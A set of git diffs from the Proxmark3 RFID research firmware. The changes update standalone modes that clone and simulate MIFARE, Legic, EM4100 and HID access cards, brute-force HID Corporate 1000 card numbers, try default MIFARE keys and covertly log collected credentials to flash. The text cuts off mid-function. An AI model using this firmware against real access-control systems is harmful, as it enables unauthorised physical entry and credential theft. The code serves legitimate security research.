// Work with "magic Chinese" card (email him: ouyangweidaxian@live.cn)
@ -1095,7 +1059,8 @@ int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *data
};
}
if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) ||
(receivedAnswer[0] != 0x0a)) {
DbprintfEx(FLAG_NEWLINE, "write block send command error");
break;
};

View file

@ -9,6 +9,10 @@
// StandAlone Mod
//-----------------------------------------------------------------------------
#include <inttypes.h>
#include <stdbool.h>
#include <stddef.h>
#ifndef FALSE
#define FALSE 0
#endif
@ -16,20 +20,6 @@
#ifndef __HF_COLIN_H
#define __HF_COLIN_H
#include "proxmark3.h"
#include "mifaresim.h" // mifare1ksim
#include "mifareutil.h"
#include "iso14443a.h"
#include "protocols.h"
#include "util.h"
#include "standalone.h" // standalone definitions
#include <stdbool.h> // for bool
#include <stdio.h>
#include <string.h>
#include "vtsend.h"
#include "apps.h"
#include "printf.h"
#define _XRED_ "\x1b[31m"
#define _XGREEN_ "\x1b[32m"
#define _XYELLOW_ "\x1b[33m"
@ -43,7 +33,7 @@ int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, ui
int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype);
void saMifareMakeTag(void);
int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain);
void WriteTagToFlash(uint8_t index, size_t size);
void WriteTagToFlash(uint32_t uid, size_t size);
const char clearTerm[8] = {0x1b, 0x5b, 0x48, 0x1b, 0x5b, 0x32, 0x4a, '\0'};

View file

@ -0,0 +1,173 @@
//-----------------------------------------------------------------------------
// (c) Stefanie Hofmann, 2020
// (c) Uli Heilmeier, 2020
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// main code for Legic Prime read/sim
//-----------------------------------------------------------------------------
#include "standalone.h"
#include "proxmark3_arm.h"
#include "BigBuf.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "legicrf.h"
#include "legicrfsim.h"
#include "legic.h" // legic_card_select_t struct
#include "spiffs.h" // flashmem
/*
* To list all dump files from flash:
*
* 1. mem spiffs tree
*
*
* To retrieve dump files from flash:
*
* 1. mem spiffs dump o hf-legic-XXYYZZWW-dump.bin f hf-legic-XXYYZZWW-dump.bin
* Copies log file from flash to your client.
*
*
* This module emits debug strings during normal operation -- so try it out in
* the lab connected to PM3 client before taking it into the field.
*
* To delete a dump file from flash:
*
* 1. mem spiffs remove hf-legic-XXYYZZWW-dump.bin
*
*/
void DownloadLogInstructions() {
Dbprintf("");
Dbprintf("[=] List all dumps from flash:");
Dbprintf("[=] " _YELLOW_("-") "mem spiffs tree");
Dbprintf("");
Dbprintf("[=] To save a dump file from flash to client:");
Dbprintf("[=] " _YELLOW_("-") "mem spiffs dump o hf-legic-UID-dump.bin f hf-legic-UID-dump.bin");
}
void save_dump_to_file(legic_card_select_t *p_card) {
#ifdef WITH_FLASH
// legic functions puts it memory in Emulator reserved memory.
uint8_t *mem = BigBuf_get_EM_addr();
char *preferredName = (char*)BigBuf_malloc(30);
if (preferredName == NULL) {
goto OUT;
}
sprintf(preferredName, "hf-legic-%02X%02X%02X%02X-dump", p_card->uid[0], p_card->uid[1], p_card->uid[2], p_card->uid[3]);
uint16_t preferredNameLen = strlen(preferredName);
char *filename = (char*)BigBuf_malloc(preferredNameLen + 4 + 1 + 10);
if (filename == NULL) {
goto OUT;
}
sprintf(filename, "%.*s%s", preferredNameLen, preferredName, ".bin");
uint16_t num = 1;
while (exists_in_spiffs(filename)) {
sprintf(filename, "%.*s-%d%s", preferredNameLen, preferredName, num, ".bin");
num++;
}
rdv40_spiffs_write(filename, mem, p_card->cardsize, RDV40_SPIFFS_SAFETY_SAFE);
Dbprintf("[=] saved card dump to flashmem::" _YELLOW_("%s"), filename);
OUT:
BigBuf_free_keep_EM();
#endif
}
void ModInfo(void) {
DbpString(" HF Legic Prime standalone");
}
// Searching for Legic card until found and read.
// Simulating recorded Legic Prime card.
// C = Searching
// A, B, C = Reading
// A, D = Simulating
void RunMod() {
StandAloneMode();
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
Dbprintf("[=] >> HF Legic Prime Read/Simulate Started <<");
DbpString("[=] press and HOLD button to exit standalone mode");
for (;;) {
WDT_HIT();
//exit from hf_legic, send usbcommand
if (data_available()) break;
//Was our button held down or pressed?
int button_pressed = BUTTON_HELD(280);
if (button_pressed == BUTTON_HOLD) {
break;
}
LEDsoff();
LED_C_ON();
DbpString("[=] looking for tags");
int read_success = PM3_ESOFT;
//search for legic card until reading successfull or button pressed
do {
LED_C_ON();
SpinDelay(500);
// We don't care if we read a MIM256, MIM512 or MIM1024
// we just read 1024 bytes
read_success = LegicRfReaderEx(0, 1024, 0x55);
} while (read_success == PM3_ESOFT && !BUTTON_PRESS());
LEDsoff();
//simulate if read successfully
if (read_success != PM3_ESOFT) {
legic_card_select_t *p_card;
p_card = getLegicCardInfo();
if (p_card->cardsize == 0)
continue;
save_dump_to_file(p_card);
LED_D_ON();
uint8_t ct;
switch(p_card->tagtype) {
case 0x0D:
ct = 0;
break;
case 0x1D:
ct = 1;
break;
case 0x3D:
ct = 2;
break;
default:
continue;
}
// The read data is migrated to a MIM1024 card
LegicRfSimulate(ct);
}
}
LEDsoff();
#ifdef WITH_FLASH
DownloadLogInstructions();
#endif
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
}

View file

@ -33,7 +33,21 @@ on a blank card.
## Spanish full description of the project [here](http://bit.ly/2c9nZXR).
*/
#include "hf_mattyrun.h"
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "string.h"
#include "commonutil.h"
#include "iso14443a.h"
#include "mifarecmd.h"
#include "crc16.h"
#include "BigBuf.h"
#include "mifaresim.h" // mifare1ksim
#include "mifareutil.h"
uint8_t uid[10];
uint32_t cuid;
@ -122,7 +136,7 @@ static int saMifareCSetBlock(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_
};
}
if ((mifare_sendcmd_short(NULL, 0, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
if ((mifare_sendcmd_short(NULL, CRYPT_NONE, 0xA0, blockNo, receivedAnswer, receivedAnswerPar, NULL) != 1) || (receivedAnswer[0] != 0x0a)) {
DbprintfEx(FLAG_NEWLINE, "write block send command error");
break;
};
@ -181,19 +195,19 @@ static int saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, ui
SpinDelayUs(AUTHENTICATION_TIMEOUT);
continue;
}
crypto1_destroy(pcs);
crypto1_deinit(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
*key = ui64Key;
return i;
}
crypto1_destroy(pcs);
crypto1_deinit(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return -1;
}
void ModInfo(void) {
DbpString(" HF Mifare sniff/clone - aka MattyRun (Matías A. Ré Medina)");
DbpString(" HF Mifare sniff/clone - aka MattyRun (Matías A. Ré Medina)");
}
void RunMod() {
@ -223,6 +237,7 @@ void RunMod() {
*/
bool printKeys = false; // Prints keys
bool transferToEml = true; // Transfer keys to emulator memory
bool ecfill = true; // Fill emulator memory with cards content.
bool simulation = true; // Simulates an exact copy of the target tag
bool fillFromEmulator = false; // Dump emulator memory.
@ -261,7 +276,7 @@ void RunMod() {
keys in keyBlock's memory space .
*/
keyBlock = BigBuf_malloc(stKeyBlock * 6);
int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t);
int mfKeysCnt = ARRAYLEN(mfKeys);
for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) {
num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6));
@ -308,7 +323,7 @@ void RunMod() {
Dbprintf("\tCurrent sector:%3d, block:%3d, key type: %c, key count: %i ", sec, block, type ? 'B' : 'A', mfKeysCnt);
int key = saMifareChkKeys(block, type, true, size, &keyBlock[0], &key64);
if (key == -1) {
LED(LED_RED, 50); //red
LED(LED_RED, 50);
Dbprintf("\t✕ Key not found for this sector!");
allKeysFound = false;
// break;
@ -333,21 +348,24 @@ void RunMod() {
TODO:
- Get UID from tag and set accordingly in emulator memory and call mifaresim with right flags (iceman)
*/
if (!allKeysFound && keyFound) {
Dbprintf("\t✕ There's currently no nested attack in MattyRun, sorry!");
LED_C_ON(); //red
LED_A_ON(); //yellow
// no room to run nested attack on device (iceman)
// Do nested attack, set allKeysFound = true;
// allKeysFound = true;
if (allKeysFound) {
Dbprintf("\t✓ All keys found");
} else {
Dbprintf("\t✕ There's nothing I can do without at least a one valid key, sorry!");
LED_C_ON(); //red
if (keyFound) {
Dbprintf("\t✕ There's currently no nested attack in MattyRun, sorry!");
LED_C_ON(); //red
LED_A_ON(); //yellow
// no room to run nested attack on device (iceman)
// Do nested attack, set allKeysFound = true;
// allKeysFound = true;
} else {
Dbprintf("\t✕ There's nothing I can do without at least a one valid key, sorry!");
LED_C_ON(); //red
}
}
/*
If enabled, transfers found keys to memory and loads target content in emulator memory. Then it simulates to be the tag it has basically cloned.
*/
// If enabled, transfers found keys to memory and loads target content in emulator memory. Then it simulates to be the tag it has basically cloned.
if ((transferToEml) && (allKeysFound)) {
emlClearMem();
@ -399,7 +417,7 @@ void RunMod() {
simflags = FLAG_4B_UID_IN_DATA;
break;
}
Mifare1ksim(simflags | FLAG_MF_1K, 0, uid);
Mifare1ksim(simflags | FLAG_MF_1K, 0, uid, 0, 0);
LED_B_OFF();
/*

View file

@ -8,18 +8,33 @@
//-----------------------------------------------------------------------------
// main code for HF standalone mode Mifare /sniff/emulation by Craig Young
//-----------------------------------------------------------------------------
#include "hf_young.h"
#include "standalone.h" // standalone definitions
#include <inttypes.h>
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "string.h"
#include "commonutil.h"
#include "mifarecmd.h"
#include "iso14443a.h"
#include "protocols.h"
#define OPTS 2
typedef struct {
uint8_t uid[10];
uint8_t uidlen;
uint8_t atqa[2];
uint8_t sak;
} __attribute__((__packed__)) card_clone_t;
} PACKED card_clone_t;
void ModInfo(void) {
DbpString(" HF Mifare sniff/simulation - (Craig Young)");
DbpString(" HF Mifare sniff/simulation - (Craig Young)");
}
void RunMod() {
@ -99,9 +114,9 @@ void RunMod() {
Dbprintf("ATQA = %02X%02X", uids[selected].atqa[0], uids[selected].atqa[1]);
Dbprintf("SAK = %02X", uids[selected].sak);
LEDsoff();
LED(LED_B, 200);
LED(LED_B, 200);
LED(LED_A, 200);
LED(LED_B, 200);
LED(LED_B, 200);
LED(LED_A, 200);
LEDsoff();
@ -136,18 +151,18 @@ void RunMod() {
SpinDelay(500);
// Begin clone function here:
/* Example from client/mifarehost.c for commanding a block write for "magic Chinese" cards:
SendCommandOLD(CMD_MIFARE_CSETBLOCK, params & (0xFE | (uid == NULL ? 0:1)), blockNo, 0, data, 16);
SendCommandOLD(CMD_HF_MIFARE_CSETBL, params & (0xFE | (uid == NULL ? 0:1)), blockNo, 0, data, 16);
Block read is similar:
SendCommandOLD(CMD_MIFARE_CGETBLOCK, params, blockNo, 0,...};
SendCommandOLD(CMD_HF_MIFARE_CGETBL, params, blockNo, 0,...};
We need to imitate that call with blockNo 0 to set a uid.
The get and set commands are handled in this file:
// Work with "magic Chinese" card
case CMD_MIFARE_CSETBLOCK:
case CMD_HF_MIFARE_CSETBL:
MifareCSetBlock(c->arg[0], c->arg[1], c->d.asBytes);
break;
case CMD_MIFARE_CGETBLOCK:
case CMD_HF_MIFARE_CGETBL:
MifareCGetBlock(c->arg[0], c->arg[1], c->d.asBytes);
break;
@ -180,7 +195,7 @@ void RunMod() {
MifareCGetBlock(params, 0, testBlock0);
if (memcmp(testBlock0, newBlock0, 16) == 0) {
DbpString("Cloned successfull!");
DbpString("Cloned successful!");
cardRead[selected] = 0; // Only if the card was cloned successfully should we clear it
playing = 0;
iGotoRecord = 1;

View file

@ -0,0 +1,100 @@
//-----------------------------------------------------------------------------
// Artyom Gnatyuk, 2020
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// LF emul - Very simple mode. Simulate only predefined in low[] IDs
// Short click - select next slot and start simulation
//-----------------------------------------------------------------------------
#include "standalone.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "lfops.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "string.h"
#include "BigBuf.h"
#define MAX_IND 16 // 4 LEDs - 2^4 combinations
#define CLOCK 64 //for 125kHz
// low & high - array for storage IDs. Its length must be equal.
// Predefined IDs must be stored in low[].
// In high[] must be nulls
uint64_t low[] = {0x565A1140BE, 0x365A398149, 0x5555555555, 0xFFFFFFFFFF};
uint32_t high[] = {0, 0, 0, 0};
uint8_t *bba, slots_count;
int buflen;
void ModInfo(void) {
DbpString(" LF EM4100 simulator standalone mode");
}
uint64_t ReversQuads(uint64_t bits) {
uint64_t result = 0;
for (int i = 0; i < 16; i++) {
result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i);
}
return result >> 24;
}
void FillBuff(uint8_t bit) {
memset(bba + buflen, bit, CLOCK / 2);
buflen += (CLOCK / 2);
memset(bba + buflen, bit ^ 1, CLOCK / 2);
buflen += (CLOCK / 2);
}
void ConstructEM410xEmulBuf(uint64_t id) {
int i, j, binary[4], parity[4];
buflen = 0;
for (i = 0; i < 9; i++)
FillBuff(1);
parity[0] = parity[1] = parity[2] = parity[3] = 0;
for (i = 0; i < 10; i++) {
for (j = 3; j >= 0; j--, id /= 2)
binary[j] = id % 2;
for (j = 0; j < 4; j++)
FillBuff(binary[j]);
FillBuff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
for (j = 0; j < 4; j++)
parity[j] ^= binary[j];
}
for (j = 0; j < 4; j++)
FillBuff(parity[j]);
FillBuff(0);
}
void LED_Slot(int i) {
LEDsoff();
if (slots_count > 4) {
LED(i % MAX_IND, 0); //binary indication for slots_count > 4
} else {
LED(1 << i, 0); //simple indication for slots_count <=4
}
}
void RunMod() {
StandAloneMode();
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
Dbprintf("[=] >> LF EM4100 simulator started <<");
int selected = 0; //selected slot after start
slots_count = sizeof(low) / sizeof(low[0]);
bba = BigBuf_get_addr();
for (;;) {
WDT_HIT();
if (data_available()) break;
SpinDelay(100);
SpinUp(100);
LED_Slot(selected);
ConstructEM410xEmulBuf(ReversQuads(low[selected]));
SimulateTagLowFrequency(buflen, 0, true);
selected = (selected + 1) % slots_count;
}
}

View file

@ -0,0 +1,204 @@
//-----------------------------------------------------------------------------
// Artyom Gnatyuk, 2020
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// LF rwc - This mode can simulate ID from selected slot, read ID to
// selected slot, write from selected slot to T5555 tag and store
// readed ID to flash (only RDV4). Also you can set predefined IDs
// in any slot.
// To recall stored ID from flash execute:
// mem spifss dump o emdump p
// or:
// mem spifss dump o emdump f emdump
// then from shell:
// hexdump emdump -e '5/1 "%02X" /0 "\n"'
//-----------------------------------------------------------------------------
#include "standalone.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "lfops.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "string.h"
#include "BigBuf.h"
#include "spiffs.h"
#ifdef WITH_FLASH
#include "flashmem.h"
#endif
#define MAX_IND 16 // 4 LEDs - 2^4 combinations
#define CLOCK 64 //for 125kHz
// low & high - array for storage IDs. Its length must be equal.
// Predefined IDs must be stored in low[].
// In high[] must be nulls
uint64_t low[] = {0x565AF781C7, 0x540053E4E2, 0x1234567890, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
uint32_t high[] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
uint8_t *bba, slots_count;
int buflen;
void ModInfo(void) {
DbpString(" LF EM4100 read/write/clone mode");
}
uint64_t ReversQuads(uint64_t bits) {
uint64_t result = 0;
for (int i = 0; i < 16; i++) {
result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i);
}
return result >> 24;
}
void FillBuff(uint8_t bit) {
memset(bba + buflen, bit, CLOCK / 2);
buflen += (CLOCK / 2);
memset(bba + buflen, bit ^ 1, CLOCK / 2);
buflen += (CLOCK / 2);
}
void ConstructEM410xEmulBuf(uint64_t id) {
int i, j, binary[4], parity[4];
buflen = 0;
for (i = 0; i < 9; i++)
FillBuff(1);
parity[0] = parity[1] = parity[2] = parity[3] = 0;
for (i = 0; i < 10; i++) {
for (j = 3; j >= 0; j--, id /= 2)
binary[j] = id % 2;
for (j = 0; j < 4; j++)
FillBuff(binary[j]);
FillBuff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
for (j = 0; j < 4; j++)
parity[j] ^= binary[j];
}
for (j = 0; j < 4; j++)
FillBuff(parity[j]);
FillBuff(0);
}
void LED_Slot(int i) {
LEDsoff();
if (slots_count > 4) {
LED(i % MAX_IND, 0); //binary indication, usefully for slots_count > 4
} else {
LED(1 << i, 0); //simple indication for slots_count <=4
}
}
void FlashLEDs(uint32_t speed, uint8_t times) {
for (int i = 0; i < times * 2; i++) {
LED_A_INV();
LED_B_INV();
LED_C_INV();
LED_D_INV();
SpinDelay(speed);
}
}
#ifdef WITH_FLASH
void SaveIDtoFlash(int addr, uint64_t id) {
uint8_t bt[5];
char *filename = "emdump";
rdv40_spiffs_mount();
for (int i = 0; i < 5; i++) {
bt[4 - i] = (uint8_t)(id >> 8 * i & 0xff);
}
if (exists_in_spiffs(filename) == false) {
rdv40_spiffs_write(filename, &bt[0], 5, RDV40_SPIFFS_SAFETY_NORMAL);
} else {
rdv40_spiffs_append(filename, &bt[0], 5, RDV40_SPIFFS_SAFETY_NORMAL);
}
}
#endif
void RunMod() {
StandAloneMode();
FpgaDownloadAndGo(FPGA_BITSTREAM_LF);
Dbprintf("[=] >> LF EM4100 read/write/clone started <<");
int selected = 0;
//state 0 - select slot
// 1 - read tag to selected slot,
// 2 - simulate tag from selected slot
// 3 - write to T5555 tag
uint8_t state = 0;
slots_count = sizeof(low) / sizeof(low[0]);
bba = BigBuf_get_addr();
LED_Slot(selected);
for (;;) {
WDT_HIT();
if (data_available()) break;
int button_pressed = BUTTON_HELD(1000);
SpinDelay(300);
switch (state) {
case 0:
// Select mode
if (button_pressed == 1) {
// Long press - switch to simulate mode
SpinUp(100);
LED_Slot(selected);
state = 2;
} else if (button_pressed < 0) {
// Click - switch to next slot
selected = (selected + 1) % slots_count;
LED_Slot(selected);
}
break;
case 1:
// Read mode.
if (button_pressed > 0) {
// Long press - switch to read mode
SpinUp(100);
LED_Slot(selected);
state = 3;
} else if (button_pressed < 0) {
// Click - exit to select mode
CmdEM410xdemod(1, &high[selected], &low[selected], 0);
FlashLEDs(100, 5);
#ifdef WITH_FLASH
SaveIDtoFlash(selected, low[selected]);
#endif
state = 0;
}
break;
case 2:
// Simulate mode
if (button_pressed > 0) {
// Long press - switch to read mode
SpinDown(100);
LED_Slot(selected);
state = 1;
} else if (button_pressed < 0) {
// Click - start simulating. Click again to exit from simulate mode
LED_Slot(selected);
ConstructEM410xEmulBuf(ReversQuads(low[selected]));
FlashLEDs(100, 5);
SimulateTagLowFrequency(buflen, 0, 1);
LED_Slot(selected);
state = 0; // Switch to select mode
}
break;
case 3:
// Write tag mode
if (button_pressed > 0) {
// Long press - switch to select mode
SpinDown(100);
LED_Slot(selected);
state = 0;
} else if (button_pressed < 0) {
// Click - write ID to tag
WriteEM410x(0, (uint32_t)(low[selected] >> 32), (uint32_t)(low[selected] & 0xffffffff));
LED_Slot(selected);
state = 0; // Switch to select mode
}
break;
}
}
}

View file

@ -24,10 +24,21 @@
//-----------------------------------------------------------------------------------
// main code for LF aka HID corporate brutefore by Federico Dotta & Maurizio Agazzini
//-----------------------------------------------------------------------------------
#include "standalone.h" // standalone definitions
#include "lf_hidbrute.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "ticks.h"
#include "lfops.h"
#define OPTS 3
void ModInfo(void) {
DbpString(" LF HID corporate 1000 bruteforce - aka Corporatebrute (Federico dotta & Maurizio Agazzini)");
DbpString(" LF HID corporate 1000 bruteforce - aka Corporatebrute (Federico dotta & Maurizio Agazzini)");
}
// samy's sniff and repeat routine for LF
@ -41,35 +52,29 @@ void RunMod() {
int playing = 0;
int cardRead = 0;
// Turn on selected LED
LED(selected + 1, 0);
for (;;) {
WDT_HIT();
// exit from SamyRun, send a usbcommand.
if (data_available()) break;
// Was our button held down or pressed?
int button_pressed = BUTTON_HELD(1000);
SpinDelay(300);
int button_pressed = BUTTON_HELD(280);
if (button_pressed != BUTTON_HOLD)
continue;
// Button was held for a second, begin recording
if (button_pressed > 0 && cardRead == 0) {
if (cardRead == 0) {
LEDsoff();
LED(selected + 1, 0);
LED(LED_D, 0);
WAIT_BUTTON_RELEASED();
// record
DbpString("[=] starting recording");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* need this delay to prevent catching some weird data */
SpinDelay(500);
CmdHIDdemodFSK(1, &high[selected], &low[selected], 0);
Dbprintf("[=] recorded %x %x %08x", selected, high[selected], low[selected]);
@ -88,12 +93,7 @@ void RunMod() {
// record
Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]);
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
/* need this delay to prevent catching some weird data */
SpinDelay(500);
WAIT_BUTTON_RELEASED();
CopyHIDtoT55x7(0, high[selected], low[selected], 0);
Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]);
@ -125,12 +125,10 @@ void RunMod() {
LED(LED_B, 0);
DbpString("[=] playing");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
WAIT_BUTTON_RELEASED();
Dbprintf("[=] %x %x %08x", selected, high[selected], low[selected]);
CmdHIDsimTAG(high[selected], low[selected], 0);
CmdHIDsimTAG(0, high[selected], low[selected], 0, 0);
DbpString("[=] done playing");
if (BUTTON_HELD(1000) > 0)
@ -157,16 +155,15 @@ void RunMod() {
LED(LED_B, 0);
DbpString("[=] entering bruteforce mode");
// wait for button to be released
while (BUTTON_PRESS())
WDT_HIT();
WAIT_BUTTON_RELEASED();
// Calculate Facility Code and Card Number from high and low
uint32_t cardnum = (low[selected] >> 1) & 0xFFFFF;
uint32_t fc = ((high[selected] & 1) << 11) | (low[selected] >> 21);
uint32_t original_cardnum = cardnum;
Dbprintf("[=] Proxbrute - starting decrementing card number");
Dbprintf("[=] HID brute - starting decrementing card number");
while (cardnum > 0) {
@ -191,12 +188,12 @@ void RunMod() {
// Print actual code to brute
Dbprintf("[=] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high[selected], low[selected], (low[selected] >> 1) & 0xFFFF, fc, cardnum);
CmdHIDsimTAGEx(high[selected], low[selected], 1, 50000);
CmdHIDsimTAGEx(0, high[selected], low[selected], 0, 1, 50000);
}
cardnum = original_cardnum;
Dbprintf("[=] Proxbrute - starting incrementing card number");
Dbprintf("[=] HID brute - starting incrementing card number");
while (cardnum <= 0xFFFFF) {
@ -219,7 +216,7 @@ void RunMod() {
// Print actual code to brute
Dbprintf("[=] TAG ID: %x%08x (%d) - FC: %u - Card: %u", high[selected], low[selected], (low[selected] >> 1) & 0xFFFF, fc, cardnum);
CmdHIDsimTAGEx(high[selected], low[selected], 1, 50000);
CmdHIDsimTAGEx(0, high[selected], low[selected], 0, 1, 50000);
}
DbpString("[=] done bruteforcing");
@ -236,13 +233,13 @@ void RunMod() {
LED(selected + 1, 0);
} else {
while (BUTTON_PRESS())
WDT_HIT();
WAIT_BUTTON_RELEASED();
}
}
}
out:
SpinErr((LED_A | LED_B | LED_C | LED_D), 250, 5);
DbpString("[=] exiting");
LEDsoff();
}

View file

@ -14,10 +14,7 @@
#ifndef __LF_HIDBRUTE_H
#define __LF_HIDBRUTE_H
#include "standalone.h" // standalone definitions
#include "apps.h" // debugstatements, lfops?
#define OPTS 3
#include <stdint.h>
void hid_corporate_1000_calculate_checksum_and_set(uint32_t *high, uint32_t *low, uint32_t cardnum, uint32_t fc);

View file

@ -0,0 +1,390 @@
//-----------------------------------------------------------------------------
// Christian Herrmann, 2020
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// main code for HID collector aka IceHID by Iceman
//-----------------------------------------------------------------------------
#include <inttypes.h>
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "appmain.h"
#include "lfops.h"
#include "lfsampling.h"
#include "BigBuf.h"
#include "fpgaloader.h"
#include "util.h"
#include "dbprint.h"
#include "printf.h"
#include "spiffs.h"
#include "ticks.h"
#include "lfdemod.h"
/*
* `lf_hidcollect` sniffs after LF HID credentials, and stores them in internal
* flash. It requires RDV4 hardware (for flash and battery).
*
* On entering stand-alone mode, this module will start reading/record HID credentials.
* Every found / collected credential will be written/appended to the logfile in flash
* as a text string.
*
* LEDs:
* - LED A: reading / record
* - LED B: writing to flash
* - LED C: unmounting/sync'ing flash (normally < 100ms)
*
* To retrieve log file from flash:
*
* 1. mem spiffs dump o lf_hidcollect.log f lf_hidcollect.log
* Copies log file from flash to your client.
*
* 2. exit the Proxmark3 client
*
* 3. more lf_hidcollect.log
*
* This module emits debug strings during normal operation -- so try it out in
* the lab connected to PM3 client before taking it into the field.
*
* To delete the log file from flash:
*
* 1. mem spiffs remove lf_hidcollect.log
*/
#define LF_HIDCOLLECT_LOGFILE "lf_hidcollect.log"
void DownloadLogInstructions() {
Dbprintf("");
Dbprintf("[=] To get the logfile from flash and display it:");
Dbprintf("[=] " _YELLOW_("1.") "mem spiffs dump o "LF_HIDCOLLECT_LOGFILE" f "LF_HIDCOLLECT_LOGFILE);
Dbprintf("[=] " _YELLOW_("2.") "exit proxmark3 client");
Dbprintf("[=] " _YELLOW_("3.") "cat "LF_HIDCOLLECT_LOGFILE);
}
bool log_exists;
void append(uint8_t *entry, size_t entry_len) {
LED_B_ON();
if (log_exists == false) {
rdv40_spiffs_write(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE);
log_exists = true;
} else {
rdv40_spiffs_append(LF_HIDCOLLECT_LOGFILE, entry, entry_len, RDV40_SPIFFS_SAFETY_SAFE);
}
LED_B_OFF();
}
uint32_t IceEM410xdemod() {
uint8_t *dest = BigBuf_get_addr();
size_t idx = 0;
int clk = 0, invert = 0, maxErr = 20;
uint32_t hi = 0;
uint64_t lo = 0;
size_t size = MIN(16385, BigBuf_max_traceLen());
//askdemod and manchester decode
int errCnt = askdemod(dest, &size, &clk, &invert, maxErr, 0, 1);
WDT_HIT();
if (errCnt > 50) {
BigBuf_free();
return PM3_ESOFT;
}
errCnt = Em410xDecode(dest, &size, &idx, &hi, &lo);
if (errCnt != 1) {
BigBuf_free();
return PM3_ESOFT;
}
uint8_t entry[81];
memset(entry, 0, sizeof(entry));
if (size == 128) {
sprintf((char *)entry, "EM XL TAG ID: %06"PRIx32"%08"PRIx32"%08"PRIx32" - (%05"PRIu32"_%03"PRIu32"_%08"PRIu32")\n",
hi,
(uint32_t)(lo >> 32),
(uint32_t)lo,
(uint32_t)(lo & 0xFFFF),
(uint32_t)((lo >> 16LL) & 0xFF),
(uint32_t)(lo & 0xFFFFFF));
} else {
sprintf((char *)entry, "EM TAG ID: %02"PRIx32"%08"PRIx32" - (%05"PRIu32"_%03"PRIu32"_%08"PRIu32")\n",
(uint32_t)(lo >> 32),
(uint32_t)lo,
(uint32_t)(lo & 0xFFFF),
(uint32_t)((lo >> 16LL) & 0xFF),
(uint32_t)(lo & 0xFFFFFF));
}
append(entry, strlen((char *)entry));
Dbprintf("%s", entry);
BigBuf_free();
return PM3_SUCCESS;
}
uint32_t IceAWIDdemod() {
uint8_t *dest = BigBuf_get_addr();
size_t size = MIN(12800, BigBuf_max_traceLen());
int dummyIdx = 0;
//askdemod and manchester decode
int idx = detectAWID(dest, &size, &dummyIdx);
if (idx <= 0 || size != 96) {
BigBuf_free();
return PM3_ESOFT;
}
//get raw ID before removing parities
uint32_t rawLo = bytebits_to_byte(dest + idx + 64, 32);
uint32_t rawHi = bytebits_to_byte(dest + idx + 32, 32);
uint32_t rawHi2 = bytebits_to_byte(dest + idx, 32);
size = removeParity(dest, idx + 8, 4, 1, 88);
if (size != 66) {
BigBuf_free();
return PM3_ESOFT;
}
uint8_t entry[110];
memset(entry, 0, sizeof(entry));
uint8_t fmtLen = bytebits_to_byte(dest, 8);
if (fmtLen == 26) {
uint8_t fac = bytebits_to_byte(dest + 9, 8);
uint32_t cardnum = bytebits_to_byte(dest + 17, 16);
uint32_t code1 = bytebits_to_byte(dest + 8, fmtLen);
